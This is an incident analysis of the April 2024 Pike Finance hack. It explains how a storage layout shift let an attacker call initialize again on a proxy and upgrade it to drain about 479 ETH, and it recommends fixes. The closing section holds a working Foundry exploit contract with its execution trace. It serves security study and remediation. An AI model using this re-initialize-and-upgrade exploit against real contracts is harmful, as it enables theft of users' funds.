On April 30, 2024, Pike Finance was exploited through an uninitialized proxy, resulting in a loss of over $1.4 million. Let’s analyze the root cause of this vulnerability.
The transaction used for the exploit is 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431.
1. Pike Finance Service Overview
Pike Finance is a decentralized finance (DeFi) platform that aims to provide liquidity across multiple blockchains. Users can deposit collateral on one chain and borrow on another, leveraging cross-chain messaging and transfer protocols such as Wormhole and Circle’s Cross-Chain Transfer Protocol.
The contract targeted in this attack is a DeFi-related Spoke contract that makes up the Pike Beta protocol.
2. Exploit Analysis
2.1 Gathering Basic Information via Block Explorer and Transaction Viewer
The TxHash of the Pike Finance exploit is as follows. The attack occurred on April 30, 2024 at 10:19:11 PM UTC. 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
Most chains have a block explorer. For Ethereum, there’s Etherscan, which lets us gather basic information about this transaction. [Etherscan link]
- From: 0x19066f7431df29A0910d287C8822936Bb7D89E23 (Attacker)
- To: 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd (Attack Contract)
- Transfer: 479.393838338750964434 ETH
- Transfer from: 0xfc7599cffea9de127a9f9c748ccb451a34d2f063 (Vulnerable Contract)
- To: 0x19066f7431df29A0910d287C8822936Bb7D89E23 (Attacker)
- Input Data: call to function 0xf2afdff3
We can also use Phalcon, a powerful transaction viewer, to easily gather detailed information about the transaction. [Phalcon link]
First, we can see the State Changes at a glance.

In the exploit transaction, a state change occurred on the targeted contract 0xfc7599cffea9de127a9f9c748ccb451a34d2f063, and we can see that its EIP-1967 logic contract address was changed to the attack contract 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd. (Phalcon automatically infers which EIP a contract follows by looking at which slot stores which kind of data.)
From this, we can infer that all funds were drained by overwriting the logic contract address. We can also see that 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7 was the original logic contract.
The Invocation Flow lets us visualize the transaction’s call flow.

As expected, the Invocation Flow shows that the initialize function was called to set a new logic contract, and the upgradeToAndCall function was then used to upgrade to that new logic contract while simultaneously sending all funds to the attacker’s address.
| Description | Address |
|---|---|
| Attack Tx | 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431 |
| Attacker | 0x19066f7431df29A0910d287C8822936Bb7D89E23 |
| Attack Contract | 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd |
| Vulnerable Contract | 0xfc7599cffea9de127a9f9c748ccb451a34d2f063 |
| Logic Contract | 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7 |
2.2 Root Cause Analysis
Neither the Vulnerable Contract nor the Logic Contract has verified source code on Etherscan, so we need to interpret the bytecode instead.
A decompiler is the tool for this job. We can easily decompile both contracts using the Dedaub decompiler.
Here’s the decompiled result of the Vulnerable Contract. This contract is a classic proxy contract that forwards every transaction via delegatecall. All the functions the attacker called live in the Logic Contract.
// Decompiled by library.dedaub.com
// 2024.05.28 15:11 UTC
// Compiled using the solidity compiler version 0.8.20
// Data structures and variables inferred from the use of storage instructions
address ___function_selector__; // STORAGE[0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc] bytes 0 to 19
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function function_selector() public payable {
MEM[64] = 128;
if (!msg.data.length) {
}
CALLDATACOPY(0, 0, msg.data.length);
v0 = ___function_selector__.delegatecall(MEM[0:msg.data.length], MEM[0:0]).gas(msg.gas);
require(v0, 0, RETURNDATASIZE()); // checks call status, propagates error data on error
return MEM[0:RETURNDATASIZE()];
}
Next is the decompiled form of initialize, the first function the attacker called on the Logic Contract. initialize is responsible for initializing the contract for the first time. Through this function, the attacker was able to set the _isActive value to point at a malicious contract they had created.
function initialize(address _console, address _rng, address _vault, address _gameProvider, uint16 _minPos, uint16 _maxPos) public nonPayable {
require(msg.data.length - 4 >= 192);
v0 = v1 = !_initialize;
if (!_initialize) {
v0 = v2 = stor_b_1_1 < 1;
}
if (!v0) {
v0 = v3 = !this.code.size;
if (!bool(this.code.size)) {
v0 = 1 == stor_b_1_1;
}
}
require(v0, Error('Initializable: contract is already initialized'));
stor_b_1_1 = 1;
if (!_initialize) {
_initialize = 1;
}
_gateway = _console;
owner_2_0_19 = _rng;
_endpoint = _vault;
stor_4_0_19 = _gameProvider;
_isActive = 0x1 | (bytes31(msg.sender << 40) | 0xffffffffffffff0000000000000000000000000000000000000000ffffffff00 & (_maxPos << 24 | (0xffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffff & _minPos << 8 | _isActive & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ff)));
_nativeAsset = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
if (!_initialize) {
_initialize = 0;
emit Initialized(1);
}
}
After that, the attacker used the upgradeToAndCall function to maliciously upgrade the logic contract using the forged _isActive value and carry out the malicious behavior.
function upgradeToAndCall(address newImplementation, bytes data) public payable {
require(msg.data.length - 4 >= 64);
require(data <= uint64.max);
require(4 + data + 31 < msg.data.length);
require(data.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](data.length);
require(!((v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) < v0) | (v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
require(4 + data + data.length + 32 <= msg.data.length);
CALLDATACOPY(v0.data, data.data, data.length);
v0[data.length] = 0;
require(this - address(0xb30c120eb92c120bf11b358b4b9961e6679b6ae7), Error('Function must be called through delegatecall'));
require(_upgradeTo == address(0xb30c120eb92c120bf11b358b4b9961e6679b6ae7), Error('Function must be called through active proxy'));
require(msg.sender == address(_isActive >> 40), CallerNotAuthorized());
0x1692(1, v0, newImplementation);
}
But under normal circumstances, initialize shouldn’t be callable more than once.
Looking at the transaction that first created the Vulnerable Contract, the contract calls initialize at creation time to properly initialize itself. So, in principle, the attacker shouldn’t be able to call initialize again.

So why did this vulnerability happen?
2.3 Why Did This Happen?
The reason initialize could be called a second time is a storage misalignment issue introduced while upgrading the contract.
A few days before this attack, Pike Finance had already been attacked once, and in order to investigate, they wanted to pause the contract. However, since the Vulnerable Contract didn’t implement a pause feature, they upgraded the Logic Contract instead. Etherscan’s Events tab shows how the Logic Contract was upgraded.

| Logic Contract | Address |
|---|---|
| Original Contract | 0x634683d7079af2ebec84637bbc29dbd6fe817564 |
| Contract with Pause Feature Added | 0xd167a1893e8f108572826dabae19663a9131b0c2 |
| Contract Active During the Attack | 0xb30c120eb92c120bf11b358b4b9961e6679b6ae7 |
Let’s decompile each contract and see what changed. First, here are the data structures of the original contract.

Next are the data structures of the contract with the pause feature added. On line 11, we can see a new variable supporting the pause feature was added.

But here, the new _paused variable ended up occupying STORAGE[0xb] bytes 0 to 0, which pushed _initialize — the variable that tracks initialization state — from STORAGE[0xb] bytes 1 to 1 to STORAGE[0xb] bytes 2 to 2. As a result, the _initialize variable that defines the contract’s initialization state ends up holding a value of 0.
The same problem persists in the Logic Contract that was actually attacked.

Consequently, the contract was mistakenly recognized as uninitialized, allowing the attacker to call initialize once more. In short, this vulnerability happened because the storage layout change was overlooked while adding a new library to support the pause feature.
3. Patch Recommendations
Several approaches can be used to prevent storage layout issues such as storage misalignment. First, the declaration order of state variables must be strictly followed. Every inheriting contract must keep the declaration order explicit, and new variables should always be appended after the parent contract’s variables, in sequence, to prevent state variable slots from being assigned incorrectly.
A permanent storage pattern can also be used so that the Logic Contract can be upgraded without worrying about state variables being overwritten. In this pattern, state variables are stored in a separate storage contract, and the Logic Contract reads and writes data by referencing that storage contract. This way, state variables remain unchanged even when the Logic Contract is upgraded, preserving data consistency.
Namespaced storage layout is another option. In this approach, each contract stores its state variables under its own unique namespace, preventing collisions between variables and letting each contract’s state be managed independently.
4. Reproducing the Vulnerability with a PoC
We can write a PoC using Foundry.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
interface IPikeFinance {
function initialize(address,address,address,address,uint16,uint16) external;
function upgradeToAndCall(address,bytes memory) external;
}
contract AttackContract {
address target;
address owner;
constructor(address _owner, address _target) {
owner = _owner;
target = _target;
}
function attack() public {
// Re-initialize the contract
IPikeFinance(target).initialize(address(this), address(this), address(this), address(this), 20, 20);
// Upgrade the logic contract and call withdraw
bytes memory data = abi.encodeWithSignature("withdraw(address)", address(owner));
IPikeFinance(target).upgradeToAndCall(address(this), data);
}
// Sends all funds to the attacker
function withdraw(address addr) external {
(bool success, ) = payable(addr).call{value: address(this).balance}("");
require(success, "transfer failed");
}
// Marks this as an upgradeable proxy-compatible contract (returns proxiableUUID)
function proxiableUUID() external pure returns(bytes32){
return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
receive() external payable {}
}
contract Exploit is Test {
uint256 blocknum = 19771058; // one block before the attack tx's block number
address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;
address hacker;
AttackContract attackcontractInstance;
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth", blocknum);
// create the hacker account
hacker = payable(vm.addr(0x1));
vm.label(hacker, "hacker");
vm.label(0xFC7599cfFea9De127a9f9C748CCb451a34d2F063, "PikeFinanceProxy");
vm.deal(hacker, 0);
}
function testExploit() public {
vm.startPrank(hacker);
console.log("Before Hacker balance: ", hacker.balance);
// perform the attack
attackcontractInstance = new AttackContract(hacker, PikeFinanceProxy);
attackcontractInstance.attack();
console.log("After Hacker balance: ", hacker.balance);
vm.stopPrank();
}
}
Result:
➜ PikeFinance_2024-04 git:(master) ✗ forge test --mc Exploit -vvvv
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.15
[⠃] Solc 0.8.15 finished in 1.72s
Compiler run successful!
Ran 1 test for test/PikeFinance.t.sol:Exploit
[PASS] testExploit() (gas: 343691)
Logs:
Before Hacker balance: 0
After Hacker balance: 479393838338750964434
Traces:
[343691] Exploit::testExploit()
├─ [0] VM::startPrank(hacker: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf])
│ └─ ← [Return]
├─ [0] console::log("Before Hacker balance: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [214630] → new AttackContract@0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4
│ └─ ← [Return] 849 bytes of code
├─ [61611] AttackContract::attack()
│ ├─ [40247] PikeFinanceProxy::initialize(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 20, 20)
│ │ ├─ [35325] 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7::initialize(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 20, 20) [delegatecall]
│ │ │ ├─ emit Initialized(: 1)
│ │ │ └─ ← [Stop]
│ │ └─ ← [Return]
│ ├─ [17020] PikeFinanceProxy::upgradeToAndCall(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 0x51cff8d90000000000000000000000007e5f4552091a69125d5dfcb7b8c2659029395bdf)
│ │ ├─ [16604] 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7::upgradeToAndCall(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 0x51cff8d90000000000000000000000007e5f4552091a69125d5dfcb7b8c2659029395bdf) [delegatecall]
│ │ │ ├─ [168] AttackContract::proxiableUUID() [staticcall]
│ │ │ │ └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
│ │ │ ├─ emit Upgraded(param0: AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4])
│ │ │ ├─ [7185] AttackContract::withdraw(hacker: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf]) [delegatecall]
│ │ │ │ ├─ [0] hacker::fallback{value: 479393838338750964434}()
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Return]
│ └─ ← [Stop]
├─ [0] console::log("After Hacker balance: ", 479393838338750964434 [4.793e20]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 424.12ms (1.11ms CPU time)
Ran 1 test suite in 969.87ms (424.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)